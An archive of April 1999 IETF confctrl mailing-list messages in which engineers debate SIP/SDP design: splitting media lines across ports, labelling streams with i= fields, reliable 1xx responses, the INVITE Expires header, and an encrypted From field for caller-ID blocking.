From: Anders Kristensen <ak@hplb.hpl.hp.com>
Organization: HP Labs
X-Mailer: Mozilla 4.5 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
To: Peter =?iso-8859-1?Q?Peld=E1n?= <Peter.Peldan@ellemtel.se>,
        Jonathan 
	Rosenberg <jdrosen@dnrc.bell-labs.com>
CC: confctrl <confctrl@ISI.EDU>
Subject: Re: SDP media alignment in SIP
References: <371B418C.4BC100B2@hplb.hpl.hp.com> <371BF781.EA679634@dnrc.bell-labs.com> <371C4A35.9F238F9E@hplb.hpl.hp.com> <371C858E.5AD7DCA2@dnrc.bell-labs.com> <371CAC62.8FC14118@ellemtel.se> <371CC772.1A99274B@dnrc.bell-labs.com> <371D7673.174A8681@ellemtel.se> <371EAB5C.C33912A1@dnrc.bell-labs.com> <371ECF9E.AAC46CE2@ellemtel.se>
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


Peter Peldán wrote:
> 
> Jonathan Rosenberg wrote:
> >
> > The problem is this; when a normal receiver runs out of packets, this
> > can be either due to loss (in which case it might like to recover), or
> > due to silence. Now, there is a third case, which is codec change. The
> > right behavior in all three cases is different.  Should the receiver
> > initially decide its due to loss, it will try some kind of interoplation
> > or local repair to fill in the voice. If the lack of packets was due to
> > codec/port change, this will be mixed with the codec that just arrived
> > on the other port to the other application, causing strange results. In
> > the other case, of silence, many systems don't just stop sending audio
> > to the speaker. They will sometimes generate background noise, since
> > dead silence is disturbing to users. Again, if the app was wrong, and it
> > was due to a codec change, this background noise will also be mixed with
> > the new codec, making for a bizarre effect. The problem is worse here
> > since its very hard to tell the difference between silence and long-term
> > codec change.
> >
> > The basic problem is that SN is used for loss detection, and now the old
> > codec won't know how whether there is loss, or codec change.
> 
> Ok in that case I see two solutions:
> 1. Just let it be and let the user live with these effects if he wants
> to use two different audio-modules for handling audio sessions. The
> effects would probably not be that big. If the first stream-handler
> notices that no packets have arrived during the last 10 seconds it can't
> interpolate and fill in, and if it adds background noice the level is
> probably so low that it won't disturb the new stream containing audio.
> 2. Define a new flag in the RTP-header for telling the receiver there
> will be no more packets for a while but do not add background noice.
> There is already a flag defined for Voice Activation/silence detection
> and this flag would be similar.

Not actually having integrated media into our UA yet, I would have
thought there was a third solution:  Given that the application KNOWS
about media changes (through the SIP signalling) isn't it more natural
for it to TELL the media handling module(s) that a stream is being
terminated rather than to rely on it to figure it out itself through a
lack of RTP packets? In this case the media module should obviously
refrain from generating background noice.

> 
> >
> > > That may be the case, but such a requirement will severely restrict the
> > > possibility of using a plug-in architecture in the UA. One would have to
> > > specify an API between the RTP-module and the multimedia modules. And if
> > > that API should allow true dynamical linking one would probably have to
> > > use COM or Java to implement the RTP-part. (If using a dll -- or other
> > > shared library -- for the RTP-module all multimedia modules using this
> > > method would have to have access to exact the same RTP-dll at build
> > > time, which again would severely restrict the possibility of using a
> > > plug-in architecture)
> >
> > As has been pointed out, the interfaces for accessing codecs I have seen
> > are not of the separate application per codec model, but through
> > libraries and API's, which is just fine.

Well, as I understand it your own UA interfaces to NeVoT through a local
multicast "bus".  My guess is that there is no way you could do
app-level demultiplexing in this setup. Even when you are using a
library it doesn't seem likely that it would provide the sort of
interface required, since this is pretty grungy - I don't *want* to
handle RTP packets in my app.

> >
> > >
> > > Why is it so important to line up all media descriptors? Wouldn't it
> > > simply be best to drop that requirement?
> >
> > Its best illustrated by an example. Consider a session which is a
> > classroom session between a student and a teacher. There are three
> > streams in the session - audio (the professor talking), a video of the
> > professor's face, and a video of the blackboard. When the professor
> > calls the student, the SDP contains three m lines, each listing two
> > codecs:
> >
> > m=video 1 RTP/AVP 10 11   (camera)
> > m=video 2 RTP/AVP 10 11   (face)
> > m=audio 3 RTP/AVP 0 1
> >
> >  Now, when the response comes, lets say the student wants to receive the
> > blackboard video on different ports, depending on the codec, as you
> > suggest, and the so it has two separate m lines. When this SDP is
> > returned to the professor:
> >
> > m=video 5 RTP/AVP 10
> > m=video 6 RTP/AVP 11
> > m=video 7 RTP/AVP 10
> > m=audio 8 RTP/AVP 0 1
> >
> > The professor has a dilemma. He has two video streams, but now three
> > places to send them. When the student "split" one of the m lines, which
> > one was it that was split? Are the first two lines the camera, and the
> > second the face, or the first one the face, and the second two, the
> > camera?
> 
> Does it matter? The professors' application could simply pick one of the
> ports for the face and one of the ports for the camera. If the student
> gets problems with synchronization etc it is really his problem. Either
> he stops using two video-modules or he has to live with non-synchronized
> streams.

I agree that whatever synchronization effects may occur due to separate
RTP sequence number spaces are basically the receivers problem (it's
preferable to have less-than-perfect communication than no
communication), and he can solve them by removing a media module. 

> 
> >
> > Basically, alignment of streams is needed since that is the only way to
> > associate streams in the request with streams in the response.
> >
> > -Jonathan R.
> > --
> > Jonathan D. Rosenberg                       Lucent Technologies
> > Member of Technical Staff                   101 Crawfords Corner Rd.
> > High Speed Networks Research                Holmdel, NJ 07733
> > FAX: (732) 834-5379                         Rm. 4C-526
> > EMAIL: jdrosen@bell-labs.com
> > URL: http://www.cs.columbia.edu/~jdrosen
> 
> It seems like all the arguments for disallowing mapping different codecs
> to different ports is that the receiver might experience strange
> synchroniczation effects. But isn't that up to the user using such a
> setup to decide? Why should the protocol spec be restricting this
> possibility? The recommended usage should still be to map all codecs to
> the same port. In 99% of the audio-sessions only one audio-module would
> probably be used and everything would work smoothly.

And note that it is probably the case that in the vast majority of cases
where an m= line is split there will be no problem at all anyway, since
codec changes are likely the exception rather than the norm (OK,
admitted, this is a conjecture). The most common case of m= splitting
would be when the caller send something like

m=audio 1 RTP/AVP 0 1 2

and the calle responds with something like

m=audio 2 RTP/AVP 0 1
m=audio 3 RTP/AVP 0 2 3

The caller picks one of the codecs listed by the callee and uses the
corresponding port number throughout the call.

> 
> SUGGESTION: Instead of lining up the session descriptions one could
> perhaps require the i=(media title) to be mandatory. If so, one could
> easily relate session descriptors to each other by matching the i-field?
> >From the SDP-draft:
> 
> A single "i=" field can also be used for each media definition. In media
> definitions, "i=" fields are primarily intended for labeling media
> streams. As such, they are most likely to be useful when a single
> session has more than one distinct media stream of the same media type.
> 
> It seems to be a good suggestion to require the i= field in the media
> descriptor whenever there are more than one media descriptor of the same
> media type, and alignment won't be needed?

Agreed!  Jonathan is right to want to correlate streams in the request
with streams in the response, and the i= field would appear to do the
trick.

-- 
Anders Kristensen <ak@hplb.hpl.hp.com>,
http://www-uk.hpl.hp.com/people/ak/
Hewlett-Packard Labs, Bristol, UK

From confctrl-owner  Thu Apr 22 06:16:08 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id GAA18192
	for confctrl-outgoing; Thu, 22 Apr 1999 06:16:08 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id GAA18187
	for <confctrl@zephyr.isi.edu>; Thu, 22 Apr 1999 06:16:06 -0700 (PDT)
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id GAA28406
	for <confctrl@ISI.EDU>; Thu, 22 Apr 1999 06:16:05 -0700 (PDT)
Received: from opus.cs.columbia.edu (opus.cs.columbia.edu [128.59.20.100])
	by cs.columbia.edu (8.9.1/8.9.1) with ESMTP id JAA20688;
	Thu, 22 Apr 1999 09:16:04 -0400 (EDT)
Received: from cs.columbia.edu (erlang.cs.columbia.edu [128.59.19.141])
	by opus.cs.columbia.edu (8.9.1/8.9.1) with ESMTP id JAA25871;
	Thu, 22 Apr 1999 09:16:03 -0400 (EDT)
Message-ID: <371F2113.FD0816B3@cs.columbia.edu>
Date: Thu, 22 Apr 1999 09:16:03 -0400
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 4.5 [en] (X11; I; SunOS 5.6 sun4u)
X-Accept-Language: en
MIME-Version: 1.0
To: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
CC: John Hearty <John.H.Hearty@wcom.com>, confctrl@ISI.EDU
Subject: Re: Comments on draft-ietf-mmusic-sip-100rel-00
References: <19990421182943.OXPD20027@localHost> <371EB4DA.7123538B@dnrc.bell-labs.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Jonathan Rosenberg wrote:
> 

> The reason we chose not to use ACK was to maximize compatibility. In
> baseline SIP, a server already must support receiving multiple
> retransmissions of the same request, and retransmitting the response
> when it receives each. So, adding a few sequence numbers gave us
> reliability without breaking the basic model. If we used ACK to
> acknowledge each provisional, and then the final, this would be a much
> more major change.

The problem is also one of ambiguity, i.e., making sure the server knows
what got acknowledged. If you are not careful, the UAC could ACK a 1xx
and the server (particularly one that doesn't support this scheme) would
believe it was the ACK for the 200 it just sent.


-- 
Henning Schulzrinne   http://www.cs.columbia.edu/~hgs

From confctrl-owner  Thu Apr 22 06:28:12 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id GAA18661
	for confctrl-outgoing; Thu, 22 Apr 1999 06:28:12 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id GAA18656
	for <confctrl@zephyr.isi.edu>; Thu, 22 Apr 1999 06:28:10 -0700 (PDT)
Received: from bells.cs.ucl.ac.uk (bells.cs.ucl.ac.uk [128.16.5.31])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id GAA28918
	for <confctrl@ISI.EDU>; Thu, 22 Apr 1999 06:28:02 -0700 (PDT)
Received: from eucharisto.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.27839-0@bells.cs.ucl.ac.uk>; Thu, 22 Apr 1999 14:27:54 +0100
To: Peter =?iso-8859-1?Q?Peld=E1n?= <Peter.Peldan@ellemtel.se>
cc: confctrl <confctrl@ISI.EDU>
Subject: Re: SDP media alignment in SIP
In-reply-to: Your message of "Thu, 22 Apr 1999 13:10:10 +0200." <371F0392.EBC17959@ellemtel.se>
Date: Thu, 22 Apr 1999 14:27:54 +0100
Message-ID: <2844.924787674@cs.ucl.ac.uk>
From: Colin Perkins <C.Perkins@cs.ucl.ac.uk>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

--> Peter =?iso-8859-1?Q?Peld=E1n?= writes:
>Colin Perkins wrote:
>> --> Peter =?iso-8859-1?Q?Peld=E1n?= writes:
>> >> I'd write it so that there was one RTP library which probably only had G.711
>> >> in it, and any other codec needed (as determined by incoming media) would be
>> >> loaded on the fly by that library, with the calling application knowing no
>> >> difference.  I don't want to debate application architecture this deeply,
>> >> but it doesn't seem like that big of a deal to implement.
>> >
>> >I believe this is the place where we do not understand each other: I do
>> >not simply talk of writing my own audio-module handling all codecs
>> >supported by the windows ACM (Audio Codec Manager). We have done that,
>> >it works fine and I completely agree on everything you are saying. May
>> >point is the following: Say that I do write my own audio module handling
>> >all ACM-codecs, and then e.g Voxware has produced another audio-module
>> >supporting their own super-duper non-ACM codec with superior packet-loss
>> >handling and lots of other features. The user of the SIP-UA with the
>> >multimedia plug-in architecture now wants to use both the standard
>> >audio-module supporting all ACM-codecs as well as the Voxware
>> >audio-module. In this case mapping all the standard ACM-codecs to one
>> >port and the Voxware codecs to another port would be a feasible
>> >solution.
>> >
>> >This issue is not about writing your own audio-modules, it is about
>> >allowing third party vendors to write multimedia session plug-ins that
>> >plug into your SIP-UA.
>> 
>> Well, the way we do it in RAT is to have our own codec plugin scheme, which
>> can then call our own inbuilt codecs, ACM codecs and any other codec scheme
>> you feel like. I don't see a need to send the codecs on different ports to
>> be able to dispatch packets with a particular PT to a particular decoder
>> library.
>
>Well, my point is that this isn't simply a codec-issue. One multimedia
>module vendor might have superior jitter-buffer handling etc. I DO NOT
>simply want to allow different codecs, I want to allow entire multimedia
>modules. That is the difference.
>
>As an example: say that I have two audio-modules. One handles G.711,
>GSM, G.723.1 but handles delayed/lost packets and jitter-buffers lousy.
>I have another audio-module only handling the codec DX6000 but with
>excellent handling of delayed/dropped packets etc. With your suggestion,
>I would have to choose between using the standard codecs and lousy
>quality otherwise, and the nonstandard codec DX6000 and excellent sound
>quality. With my suggestion I may have both options in the same session
>even. And, it doesn't cause much problems?
>> 
>> This seems to be a software engineering problem, not a protocol issue...
>
>Well it is a protocol issue if the protocol spec without good enough
>reasons disallows this usage.

I still don't see this... sure you would have to provide your plugin scheme
at a much lower level, and it may be that current libraries don't give you
access at that level, but that's no reason for breaking the protocol.

Alternatively, if you have out-of-band signalling you can use this to drive
the change of media handling library (as Anders also suggested).

Colin

From confctrl-owner  Thu Apr 22 07:04:07 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id HAA20265
	for confctrl-outgoing; Thu, 22 Apr 1999 07:04:07 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id HAA20260
	for <confctrl@zephyr.isi.edu>; Thu, 22 Apr 1999 07:04:06 -0700 (PDT)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id HAA00823
	for <confctrl@isi.edu>; Thu, 22 Apr 1999 07:04:04 -0700 (PDT)
Received: from nova.dnrc.bell-labs.com ([135.180.131.5]) by dirty; Thu Apr 22 10:03:58 EDT 1999
Received: from dnrc.bell-labs.com (arrakis [135.180.130.41])
	by nova.dnrc.bell-labs.com (8.9.1/8.9.1) with ESMTP id KAA25598;
	Thu, 22 Apr 1999 10:03:57 -0400 (EDT)
Message-ID: <371F2BBC.18435EE4@dnrc.bell-labs.com>
Date: Thu, 22 Apr 1999 10:01:32 -0400
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
X-Mailer: Mozilla 4.04 [en] (WinNT; I)
MIME-Version: 1.0
To: Anders Kristensen <ak@hplb.hpl.hp.com>
CC: "Peter PeldÂn" <Peter.Peldan@ellemtel.se>, confctrl <confctrl@ISI.EDU>
Subject: Re: SDP media alignment in SIP
References: <371B418C.4BC100B2@hplb.hpl.hp.com> <371BF781.EA679634@dnrc.bell-labs.com> <371C4A35.9F238F9E@hplb.hpl.hp.com> <371C858E.5AD7DCA2@dnrc.bell-labs.com> <371CAC62.8FC14118@ellemtel.se> <371CC772.1A99274B@dnrc.bell-labs.com> <371D7673.174A8681@ellemtel.se> <371EAB5C.C33912A1@dnrc.bell-labs.com> <371ECF9E.AAC46CE2@ellemtel.se> <371F1DA9.E2E5E5BA@hplb.hpl.hp.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Anders Kristensen wrote:
> 

> > Ok in that case I see two solutions:
> > 1. Just let it be and let the user live with these effects if he wants
> > to use two different audio-modules for handling audio sessions. The
> > effects would probably not be that big. If the first stream-handler
> > notices that no packets have arrived during the last 10 seconds it can't
> > interpolate and fill in, and if it adds background noice the level is
> > probably so low that it won't disturb the new stream containing audio.

Not neccesarily.. background noise levels can often be high (when
calling from a cell phone, for example).

> > 2. Define a new flag in the RTP-header for telling the receiver there
> > will be no more packets for a while but do not add background noice.
> > There is already a flag defined for Voice Activation/silence detection
> > and this flag would be similar.

This doesn't help, since the packet with the flag might be lost. So, you
still need to detect silence/codec-change based on lack of data.

> 
> Not actually having integrated media into our UA yet, I would have
> thought there was a third solution:  Given that the application KNOWS
> about media changes (through the SIP signalling) isn't it more natural
> for it to TELL the media handling module(s) that a stream is being
> terminated rather than to rely on it to figure it out itself through a
> lack of RTP packets? In this case the media module should obviously
> refrain from generating background noice.

Generally, no. The initial SDP exchange in the INVITE/200 OK establishes
capabilities. There is no additional signaling (normally) when a user
changes from one codec to the other among this set. This is necessary
for (1) adaptivity, (2) usage of things like the DTMF codec. With the
DTMF codec, there is no time to do a "logical channel open", signaling
the change in codecs by SIP. By the time you did this, the DTMF would be
over. It is possible to signal long term changes through SIP, by
re-INVITING with just the one codec. But you would still have the
problem that there are many cases where there is no signaling for a
codec change.



> > SUGGESTION: Instead of lining up the session descriptions one could
> > perhaps require the i=(media title) to be mandatory. If so, one could
> > easily relate session descriptors to each other by matching the i-field?
> > >From the SDP-draft:
> >
> > A single "i=" field can also be used for each media definition. In media
> > definitions, "i=" fields are primarily intended for labeling media
> > streams. As such, they are most likely to be useful when a single
> > session has more than one distinct media stream of the same media type.
> >
> > It seems to be a good suggestion to require the i= field in the media
> > descriptor whenever there are more than one media descriptor of the same
> > media type, and alignment won't be needed?
> 
> Agreed!  Jonathan is right to want to correlate streams in the request
> with streams in the response, and the i= field would appear to do the
> trick.

Not a bad suggestion. There are backwards compatibility issues, though.
The callee has to be sure that the caller supports "splitting" in this
fashion. One could solve this with a new rtpmap attribute. So, the
caller's SDP has i= with a session name, and a new a=rtpmap:allowsplit
attribute, which says whether the callee can split the media line. 

I still think that doing this will introduce serious performance issues,
as we've discussed, though...

-Jonathan R.

-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX:   (732) 834-5379                       Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Thu Apr 22 07:07:35 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id HAA20444
	for confctrl-outgoing; Thu, 22 Apr 1999 07:07:35 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id HAA20439
	for <confctrl@zephyr.isi.edu>; Thu, 22 Apr 1999 07:07:34 -0700 (PDT)
Received: from bells.cs.ucl.ac.uk (bells.cs.ucl.ac.uk [128.16.5.31])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id HAA01049
	for <confctrl@ISI.EDU>; Thu, 22 Apr 1999 07:07:30 -0700 (PDT)
Received: from eucharisto.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.00361-0@bells.cs.ucl.ac.uk>; Thu, 22 Apr 1999 15:05:50 +0100
To: Anders Kristensen <ak@hplb.hpl.hp.com>
cc: Peter =?iso-8859-1?Q?Peld=E1n?= <Peter.Peldan@ellemtel.se>,
        Stephen Sprunk <ssprunk@cisco.com>,
        Jonathan Rosenberg <jdrosen@bell-labs.com>,
        confctrl <confctrl@ISI.EDU>
Subject: Re: SDP media alignment in SIP
In-reply-to: Your message of "Thu, 22 Apr 1999 13:19:11 BST." <371F13BF.E4A93F76@hplb.hpl.hp.com>
Date: Thu, 22 Apr 1999 15:05:50 +0100
Message-ID: <2987.924789950@cs.ucl.ac.uk>
From: Colin Perkins <C.Perkins@cs.ucl.ac.uk>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

--> Anders Kristensen writes:
>Colin Perkins wrote:
>> This seems to be a software engineering problem, not a protocol issue...
>
>It becomes a protocol issue because one size (e.g. RAT) does not fit
>all. Our SIP user agent, like Ellemtels, delegates out the
>responsibility of handling media to one or more media handling
>subsystems, be they applications like RAT or libraries like the JMF. 
>For us to use RAT someone has to write a UA module that communicates
>with RAT, basically a RAT device driver.
>
>It is perfectly reasonable for a UA to use more than one such device
>driver for the same media type and codec at the same time, say, one for
>RAT and one for the JMF.  The fact that RAT has its own plugin
>architecture helps but it doesn't solve the basic problem that one media
>handling subsystem is never going to handle all codecs in the world and
>be the best for all of them, and hence it should be possible to several
>such media sub-systems together.

So one has to architect the system such that there is a common RTP library,
with other media handling systems layered on top of that. I think (hope!)
we'd agree that RTP is sufficiently simple that a single library could fit
all, and that the complexity is in the playout buffer, codecs, etc. 

Still, that doesn't help if you wish to use and combine the media
frameworks available today, which don't give access at that level.
Although, to be honest I'd probably design the system such that it
rejects calls which cannot be entirely handled by a single framework. 
Having one call being handled by RAT and another by the JMF seems ok,
but trying to have a single call being handled by two frameworks is
possibly not worth the gain?

Basically, I'm arguing that a SIP user agent should have knowledge of what
each media handling framework supports, and negotiate the call such that 
it can be handled by a single framework. 

Colin

From confctrl-owner  Thu Apr 22 07:19:55 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id HAA20953
	for confctrl-outgoing; Thu, 22 Apr 1999 07:19:55 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id HAA20948
	for <confctrl@zephyr.isi.edu>; Thu, 22 Apr 1999 07:19:54 -0700 (PDT)
Received: from ndcrelay.mcit.com (ndcrelay.mcit.com [166.37.172.49])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id HAA01713
	for <confctrl@isi.edu>; Thu, 22 Apr 1999 07:19:53 -0700 (PDT)
Received: from omta4.mcit.com (omta4.mcit.com [166.37.204.6])
          by ndcrelay.mcit.com (8.8.7/) with ESMTP
	  id OAA06599 for <confctrl@isi.edu>; Thu, 22 Apr 1999 14:18:48 GMT
Received: from localHost ([166.35.151.149]) by omta4.mcit.com
          (InterMail v03.02.05 118 121 101) with SMTP
          id <19990422141843.FBDB8403@localHost> for <confctrl@isi.edu>;
          Thu, 22 Apr 1999 09:18:43 -0500
Date: Thu, 22 Apr 1999 08:26 -0500 (CDT)
From: John Hearty <John.H.Hearty@wcom.com>
X-Mailer: MailRoom for Internet v2.3g (www.SierraSol.com)
To: confctrl@ISI.EDU
Subject: Clarification of Expires header in an Invite
Message-Id: <19990422141843.FBDB8403@localHost>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


 I need clarification of the Expires header in the Invite method. 
The RFC gives examples that it can limit the validity of an invitation
if a client wants to limit the duration of a search or a conference
invitation.  I take this to mean only the time in which the client
is waiting for a final response, not the duration of the session. 
Is this correct?  If this is the case, a clarified description would
be appreciated explicitly stating the client is waiting for a _final
response_.  One scenario I plan on using this for is to give the callee
a clue how long the caller will ring the device before giving up and
moving on to another address in a serial search.

John Hearty
MCI Worldcom


From confctrl-owner  Thu Apr 22 07:20:05 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id HAA21016
	for confctrl-outgoing; Thu, 22 Apr 1999 07:20:05 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id HAA21011
	for <confctrl@zephyr.isi.edu>; Thu, 22 Apr 1999 07:20:03 -0700 (PDT)
Received: from omzrelay.mcit.com (omzrelay.mcit.com [166.37.204.49])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id HAA01723
	for <confctrl@ISI.EDU>; Thu, 22 Apr 1999 07:20:02 -0700 (PDT)
Received: from omta4.mcit.com (omta4.mcit.com [166.37.204.6])
          by omzrelay.mcit.com (8.8.7/) with ESMTP
	  id OAA30224; Thu, 22 Apr 1999 14:19:47 GMT
Received: from localHost ([166.35.151.149]) by omta4.mcit.com
          (InterMail v03.02.05 118 121 101) with SMTP
          id <19990422141852.FBDV8403@localHost>;
          Thu, 22 Apr 1999 09:18:52 -0500
Date: Thu, 22 Apr 1999 08:56 -0500 (CDT)
From: John Hearty <John.H.Hearty@wcom.com>
X-Mailer: MailRoom for Internet v2.3g (www.SierraSol.com)
To: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
CC: confctrl@ISI.EDU
Subject: Re: more sip phone feature emulations...
Message-Id: <19990422141852.FBDV8403@localHost>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


 This looks like a good solution.  If the IP endpoint did understand
the new parameter it could be smart enough to present "Anonymous" instead
of the encrypted address.  A terminating ISUP gateway would un-encrypt
the number and set the presentation parameter accordingly to satisfy
PSTN requirements.  Since this covers both IP and PSTN endpoints I
don't see the need to lump it in with PSTN interworking solutions.
Thanks for all your great work.

John Hearty
MCI Worldcom



Date: Thu, 22 Apr 1999 01:26 -0500 (CDT)
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
Organization: Bell Laboratories
To: confctrl@ISI.EDU
Sender: owner-confctrl@ISI.EDU
Subject: more sip phone feature emulations...

This time, its caller-ID.

SIP easily does caller ID. In fact, since requests can be signed by the
caller or third parties, it can provide cryptographically strong caller
ID. Anonymous calling is also easily done.

Whats harder is when you're doing POTS to POTS, with SIP in the middle.
Caller ID blocking in the phone network actually has the caller's name
carried in the ISUP all the way, but just not presented to the called
party. When using SIP in the middle, the calling name and number would
need to be carried in SIP in the From field, but an indication that it
shouldn't be presented would also need to be there. Currently, there is
no such indication; I would argue it doesn't make much sense for IP to
IP.

The question is: how to do it in SIP? There are several ways:

1. treat it as yet-another-ISUP-parameter which is only used for phone
to phone, and handle it with the rest of them.

2. add a parameter to the From field which says, "don't present".

(2) is easy and general, but security wise is bad. Nothing stops a UAS
(gateway or PC) from presenting the name anyway, and nothing prevents
people from reading the field on the wire. So, how to add strong crypto
support here to make this service *better* than on the PSTN? One could
just encrypt SIP using the PGP mechanisms. But, the From field needs to
be in the clear. You could do ipsec or ssl, but this is just from proxy
to proxy and doesn't buy you good security between gateways.

So, Henning and I discussed and came up with an interesting possibility.
We allow the From URI and display name to be encrypted, but still follow
the BNF defined in RFC2543. We also add a few parameters to indicate its
encrypted. So:

From: "asd098yasdnasbyuy8" <sip:ojasd08yasdb>;enc=pgp;present=no

would be an encrypted version of the From field. Since its still a
completely valid From field, intermediate proxies don't know the better
even if they don't understand this encryption tag. Only the terminating
gateway would be able to decode it, and then it would also know not to
present it based on the tag. This would also work for calls to IP
endpoints. An endpoint receiving this, but not knowing about this
extension (and if there is no Require header), would still do an OK
thing, which is to present a name which makes no sense (i.e., looks like
anonymous anyway). This is reasonable behavior.

Thoughts on this? Does this fall into the "only useful for PSTN
interworking, so do it with the rest of the ISUP parameters" model?

Thanks,
Jonathan R.

-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX: (732) 834-5379                         Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Thu Apr 22 07:52:45 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id HAA22616
	for confctrl-outgoing; Thu, 22 Apr 1999 07:52:45 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id HAA22611
	for <confctrl@zephyr.isi.edu>; Thu, 22 Apr 1999 07:52:44 -0700 (PDT)
Received: from gwu.ericy.com (gwu.ericy.com [208.196.3.162])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id HAA03689
	for <confctrl@ISI.EDU>; Thu, 22 Apr 1999 07:52:43 -0700 (PDT)
Received: from mr4.exu.ericsson.se ([138.85.11.56])
	by gwu.ericy.com (8.8.8/8.8.8) with ESMTP id JAA12383
	for <confctrl@ISI.EDU>; Thu, 22 Apr 1999 09:54:27 -0500 (CDT)
Received: from newman.exu.ericsson.se (newman.exu.ericsson.se [138.85.10.50])
	by mr4.exu.ericsson.se (8.8.8/8.8.8) with ESMTP id JAA25265
	for <confctrl@ISI.EDU>; Thu, 22 Apr 1999 09:52:07 -0500 (CDT)
Received: from b04a24.exu.ericsson.se (b04a24 [138.85.60.124]) by newman.exu.ericsson.se (8.7.5/8.7.3) with ESMTP id JAA29344 for <confctrl@ISI.EDU>; Thu, 22 Apr 1999 09:52:06 -0500 (CDT)
Received: (from exuadam@localhost)
	by b04a24.exu.ericsson.se (8.9.1/8.9.1) id JAA03852
	for confctrl@ISI.EDU; Thu, 22 Apr 1999 09:52:04 -0500 (CDT)
Message-Id: <199904221452.JAA03852@b04a24.exu.ericsson.se>
Subject: Proxies and draft-ietf-mmusic-sip-100rel-00
To: confctrl@ISI.EDU
Date: Thu, 22 Apr 1999 09:52:03 -0500 (CDT)
From: "Adam B. Roach" <Adam.Roach@Ericsson.com>
X-Mailer: ELM [version 2.4 PL24]
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


The current draft for 1xx message reliablity specifies that
reliablity is hop-by-hop, not end-to-end, *and* that proxies
are still free to drop provisional messages (i.e. not proxy
them upstream) after acknowledging them.

As I understand it, part of the usefulness of reliable 1xx
messages is the ability to (1) trigger certain required
behavior for gateways into non-SIP networks, and (2) transmit
additional information (e.g. ISUP payloads).

If intervening proxies have the option of discarding 1xx messages
at their discression, the concept of 1xx "reliablity" seems
defeated.

I propose that the draft should be revised so that that, when 
reliable 1xx messages transmission is required, 1xx messages 
must be proxied.

-- 
Adam Roach                 |  Ph: +1 972 583 7594 | 1010 E. Arapaho, MS L-04
Ericsson Inc.              | Fax: +1 972 669 0154 | Richardson, TX 75081
adam.roach@ericsson.com    |                  <*> | USA

From confctrl-owner  Thu Apr 22 08:07:47 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id IAA23206
	for confctrl-outgoing; Thu, 22 Apr 1999 08:07:47 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
